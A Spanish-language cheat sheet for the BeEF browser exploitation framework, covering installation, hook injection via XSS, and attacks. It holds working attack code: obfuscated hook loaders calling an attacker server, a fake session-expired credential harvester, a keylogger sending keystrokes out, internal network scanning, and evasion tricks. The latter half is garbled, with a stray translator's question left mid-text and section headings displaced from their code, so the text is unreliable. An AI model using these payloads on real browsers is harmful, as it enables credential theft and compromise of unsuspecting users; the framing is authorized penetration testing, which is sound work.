Ir al contenido

Hoja de Referencia de BeEF Browser Exploitation Framework

Descripción General

BeEF (Browser Exploitation Framework) es una herramienta de pruebas de penetración que se enfoca en el navegador web. Permite al profesional de pruebas de penetración evaluar la postura de seguridad real de un entorno objetivo utilizando vectores de ataque del lado del cliente.

⚠️ Advertencia: Esta herramienta está destinada únicamente a pruebas de penetración autorizadas y evaluaciones de seguridad. Asegúrese de tener la autorización adecuada antes de usarla en cualquier entorno.

Instalación

Kali Linux

# Install from repositories
sudo apt update
sudo apt install beef-xss

# Start BeEF
sudo beef-xss

Ubuntu/Debian

# Install dependencies
sudo apt update
sudo apt install git ruby ruby-dev bundler sqlite3 libsqlite3-dev

# Clone repository
git clone https://github.com/beefproject/beef.git
cd beef

# Install Ruby gems
bundle install

# Start BeEF
./beef

Instalación con Docker

# Pull official Docker image
docker pull beefproject/beef

# Run BeEF in Docker
docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 beefproject/beef

# Run with persistent data
docker run -v /opt/beef:/beef/data -p 3000:3000 -p 6789:6789 beefproject/beef

Instalación Manual

# Install Ruby and dependencies
curl -sSL https://get.rvm.io|bash
source ~/.rvm/scripts/rvm
rvm install 3.0.0
rvm use 3.0.0 --default

# Clone and setup BeEF
git clone https://github.com/beefproject/beef.git
cd beef
bundle install
./beef

Uso Básico

Iniciando BeEF

# Start BeEF server
./beef

# Start with custom configuration
./beef -c config.yaml

# Start with specific interface
./beef -x

# Start in debug mode
./beef -v

Acceso a la Interfaz Web

# Default credentials
# Username: beef
# Password: beef

# Access web interface
# http://localhost:3000/ui/panel

# Hook URL for browsers
# http://localhost:3000/hook.js

Configuración

Configuración Principal (config.yaml)

beef:
    version: '0.5.4.0'
    debug: false
    crypto_default_value_length: 80

    # Web server configuration
    http:
        debug: false
        host: "0.0.0.0"
        port: "3000"

    # HTTPS configuration
    https:
        enable: false
        host: "0.0.0.0"
        port: "3443"
        cert: "beef.crt"
        key: "beef.key"

    # Database configuration
    database:
        driver: "sqlite"
        db_file: "beef.db"

    # Authentication
    credentials:
        user: "beef"
        passwd: "beef"

Configuración de Extensiones

beef:
    extension:
        admin_ui:
            enable: true

        social_engineering:
            enable: true

        metasploit:
            enable: false
            host: "127.0.0.1"
            port: 55552

        dns:
            enable: false
            port: 53

        proxy:
            enable: false
            port: 8080

Despliegue de Hook

Inyección Básica de Hook


<script src="http://beef-server:3000/hook.js"></script>

<script>
var script = document.createElement('script');
script.src = 'http://beef-server:3000/hook.js';
document.head.appendChild(script);
</script>

<script>
eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,101,101,102,45,115,101,114,118,101,114,58,51,48,48,48,47,104,111,111,107,46,106,115,39,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));
</script>

Técnicas Avanzadas de Hook

// Dynamic hook loading
function loadBeef() \\\\{
    if (typeof beef === 'undefined') \\\\{
        var script = document.createElement('script');
        script.src = 'http://beef-server:3000/hook.js';
        script.onload = function() \\\\{
            console.log('BeEF hook loaded');
        \\\\};
        document.head.appendChild(script);
    \\\\}
\\\\}

// Conditional hook loading
if (document.domain === 'target-site.com') \\\\{
    loadBeef();
\\\\}

// Time-delayed hook
setTimeout(function() \\\\{
    loadBeef();
\\\\}, 5000);

Hook via XSS

// Reflected XSS hook
http://vulnerable-site.com/search?q=<script src="http://beef-server:3000/hook.js"></script>

// Stored XSS hook
<img src="x" onerror="var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);">

// DOM-based XSS hook
javascript:var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);

Módulos de Comandos

Información del Navegador

# Get browser details
Browser > Get Browser Details

# Get system information
Browser > Get System Info

# Get installed plugins
Browser > Get Installed Plugins

# Get browser history
Browser > Get Visited URLs

# Get cookies
Browser > Get All Cookies

Ingeniería Social

# Fake notification bar
Social Engineering > Fake Notification Bar

# Pretty theft
Social Engineering > Pretty Theft

# Clippy
Social Engineering > Clippy

# Fake flash update
Social Engineering > Fake Flash Update

# Simple hijacker
Social Engineering > Simple Hijacker

Descubrimiento de Red

# Internal network fingerprinting
Network > Fingerprint Network

# Port scanner
Network > Port Scanner

# Cross-origin scanner
Network > Cross-Origin Scanner

# DNS enumeration
Network > DNS Enumeration

Persistencia

# Man-in-the-browser
Persistence > Man-In-The-Browser

# Confirm close tab
Persistence > Confirm Close Tab

# Create invisible iframe
Persistence > Create Invisible Iframe

# Tunnel
Persistence > Tunnel

Ataques Avanzados

Recopilación de Credenciales

// Custom credential harvester
beef.execute(function() \\\\{
    // Create fake login form
    var overlay = document.createElement('div');
    overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;';

    var form = document.createElement('div');
    form.innerHTML = `
        <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:30px;border-radius:5px;">
            <h3>Session Expired - Please Re-authenticate</h3>
            <input type="text" id="username" placeholder="Username" style="width:100%;padding:10px;margin:10px 0;">
            <input type="password" id="password" placeholder="Password" style="width:100%;padding:10px;margin:10px 0;">
            <button onclick="submitCreds()" style="width:100%;padding:10px;background:#007cba;color:white;border:none;">Login</button>
        </div>
    `;

    overlay.appendChild(form);
    document.body.appendChild(overlay);

    window.submitCreds = function() \\\\{
        var username = document.getElementById('username').value;
        var password = document.getElementById('password').value;

        // Send credentials to BeEF
        beef.net.send('/api/credentials', 0, 'POST',
            'username=' + encodeURIComponent(username) +
            '&password=' + encodeURIComponent(password)
        );

        overlay.remove();
    \\\\};
\\\\});

Keylogger

// Simple keylogger
beef.execute(function() \\\\{
    var keys = '';
    var lastSent = Date.now();

    document.addEventListener('keypress', function(e) \\\\{
        keys += String.fromCharCode(e.which);

        // Send keys every 10 seconds or 100 characters
        if (Date.now() - lastSent > 10000||keys.length > 100) \\\\{
            beef.net.send('/api/keylog', 0, 'POST', 'keys=' + encodeURIComponent(keys));
            keys = '';
            lastSent = Date.now();
        \\\\}
    \\\\});
\\\\});

Browser Autopwn

// Browser exploitation chain
beef.execute(function() \\\\{
    // Check for vulnerabilities
    var exploits = [
        \\\\{name: 'CVE-2021-1234', check: function() \\\\{ return navigator.userAgent.includes('Chrome/89'); \\\\}\\\\},
        \\\\{name: 'CVE-2020-5678', check: function() \\\\{ return navigator.userAgent.includes('Firefox/85'); \\\\}\\\\}
    ];

    exploits.forEach(function(exploit) \\\\{
        if (exploit.check()) \\\\{
            beef.net.send('/api/exploit', 0, 'POST', 'exploit=' + exploit.name);
        \\\\}
    \\\\});
\\\\});

Pivoteo de Red

Would you like me to continue with the translations for the remaining sections?```javascript // Internal network scanning beef.execute(function() \\{ var targets = []; var baseIP = ‘192.168.1.’;

for (var i = 1; i <= 254; i++) \\\\{
    var ip = baseIP + i;
    var img = new Image();
    img.onload = function() \\\\{
        targets.push(this.src.split('/')[2]);
    \\\\};
    img.src = 'http://' + ip + '/favicon.ico?' + Math.random();
\\\\}

setTimeout(function() \\\\{
    beef.net.send('/api/network', 0, 'POST', 'targets=' + JSON.stringify(targets));
\\\\}, 5000);

\\});

```bash
# Enable Metasploit extension in config.yaml
metasploit:
    enable: true
    host: "127.0.0.1"
    port: 55552

# Start Metasploit RPC server
msfrpcd -P password -S -a 127.0.0.1 -p 55552

# Use browser autopwn
use auxiliary/server/browser_autopwn2
set LHOST 192.168.1.100
set SRVHOST 192.168.1.100
run
```### Integración con Metasploit
```bash
# Use SET with BeEF
setoolkit

# Select Social-Engineering Attacks
# Select Website Attack Vectors
# Select Credential Harvester Attack Method
# Select Site Cloner
# Enter target URL and BeEF hook
```### Kit de Herramientas de Ingeniería Social (SET)
```python
# Python script for BeEF API interaction
import requests
import json

class BeefAPI:
    def __init__(self, host='localhost', port=3000):
        self.base_url = f"http://\\\\{host\\\\}:\\\\{port\\\\}/api"
        self.token = None

    def authenticate(self, username='beef', password='beef'):
        auth_data = \\\\{
            'username': username,
            'password': password
        \\\\}
        response = requests.post(f"\\\\{self.base_url\\\\}/admin/login", json=auth_data)
        if response.status_code == 200:
            self.token = response.json()['token']
            return True
        return False

    def get_hooked_browsers(self):
        headers = \\\\{'Authorization': f'Bearer \\\\{self.token\\\\}'\\\\}
        response = requests.get(f"\\\\{self.base_url\\\\}/hooks", headers=headers)
        return response.json()

    def execute_module(self, hook_id, module_id, options=\\\\{\\\\}):
        headers = \\\\{'Authorization': f'Bearer \\\\{self.token\\\\}'\\\\}
        data = \\\\{
            'module_id': module_id,
            'options': options
        \\\\}
        response = requests.post(f"\\\\{self.base_url\\\\}/modules/\\\\{hook_id\\\\}",
                               json=data, headers=headers)
        return response.json()

# Usage example
beef = BeefAPI()
beef.authenticate()
browsers = beef.get_hooked_browsers()
print(f"Hooked browsers: \\\\{len(browsers)\\\\}")
```### API REST Personalizada
```javascript
// Base64 encoded hook
var encoded = 'dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9iZWVmLXNlcnZlcjozMDAwL2hvb2suanMnO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocyk7';
eval(atob(encoded));

// Hex encoded hook
var hex = '766172207336646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d27687474703a2f2f626565662d7365727665723a333030302f686f6f6b2e6a73273b646f63756d656e742e686561642e617070656e644368696c642873293b';
eval(hex.match(/.\\\\{2\\\\}/g).map(function(h) \\\\{ return String.fromCharCode(parseInt(h, 16)); \\\\}).join(''));

// Dynamic construction
var parts = ['ht', 'tp:', '//', 'beef-', 'server:', '3000', '/hook.', 'js'];
var url = parts.join('');
var s = document.createElement('script');
s.src = url;
document.head.appendChild(s);
```## Técnicas de Evasión
```javascript
// Use CDN for domain fronting
var script = document.createElement('script');
script.src = 'https://cdn.example.com/beef/hook.js';
script.setAttribute('data-host', 'beef-server.com');
document.head.appendChild(script);
```### Ofuscación de Hooks
```javascript
// Hide hook in image metadata
function extractHookFromImage(imageUrl) \\\\{
    var canvas = document.createElement('canvas');
    var ctx = canvas.getContext('2d');
    var img = new Image();

    img.onload = function() \\\\{
        canvas.width = img.width;
        canvas.height = img.height;
        ctx.drawImage(img, 0, 0);

        var imageData = ctx.getImageData(0, 0, 1, 1);
        var data = imageData.data;

        // Extract hidden data from LSB
        var hookUrl = extractLSB(data);
        loadHook(hookUrl);
    \\\\};

    img.src = imageUrl;
\\\\}
```### Domain Fronting
```python
# Analyze BeEF sessions
import sqlite3
import json

def analyze_beef_sessions(db_path):
    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()

    # Get hooked browsers
    cursor.execute("SELECT * FROM hooked_browsers")
    browsers = cursor.fetchall()

    # Get command results
    cursor.execute("SELECT * FROM command_modules")
    commands = cursor.fetchall()

    # Generate report
    report = \\\\{
        'total_browsers': len(browsers),
        'total_commands': len(commands),
        'browsers': browsers,
        'commands': commands
    \\\\}

    return report

# Usage
report = analyze_beef_sessions('/path/to/beef.db')
print(json.dumps(report, indent=2))
```### Esteganografía
```python
# Create attack timeline
import matplotlib.pyplot as plt
import datetime

def create_timeline(sessions):
    timestamps = []
    events = []

    for session in sessions:
        timestamp = datetime.datetime.fromisoformat(session['created_at'])
        timestamps.append(timestamp)
        events.append(f"Browser hooked: \\\\{session['browser_name']\\\\}")

    plt.figure(figsize=(12, 6))
    plt.plot(timestamps, range(len(timestamps)), 'o-')
    plt.title('BeEF Attack Timeline')
    plt.xlabel('Time')
    plt.ylabel('Events')
    plt.xticks(rotation=45)
    plt.tight_layout()
    plt.savefig('beef_timeline.png')
```## Informes y Análisis
```bash
# Port already in use
sudo netstat -tulpn|grep :3000
sudo kill -9 $(lsof -t -i:3000)

# Ruby version issues
rvm list
rvm use 3.0.0
bundle install

# Database issues
rm beef.db
./beef

# Permission issues
sudo chown -R $USER:$USER /path/to/beef
chmod +x beef
```### Análisis de Sesión
```bash
# Start BeEF in debug mode
./beef -v

# Check logs
tail -f beef.log

# Browser console debugging
# Open browser developer tools
# Check for JavaScript errors
# Monitor network requests
```### Análisis de Línea de Tiempo
```bash
# Check firewall rules
sudo ufw status
sudo iptables -L

# Test connectivity
curl http://localhost:3000/hook.js

# Check DNS resolution
nslookup beef-server.com
```## Resolución de Problemas
https://beefproject.com/### Problemas Comunes
https://github.com/beefproject/beef### Modo de Depuración
https://github.com/beefproject/beef/wiki### Problemas de Red
https://owasp.org/www-project-web-security-testing-guide/## Consideraciones de Seguridad
https://www.sans.org/white-papers/33864/### Seguridad Operacional
- Usar HTTPS para despliegues en producción
- Cambiar credenciales predeterminadas
- Implementar controles de acceso adecuados
- Monitorear para detección
- Usar dominios y certificados legítimos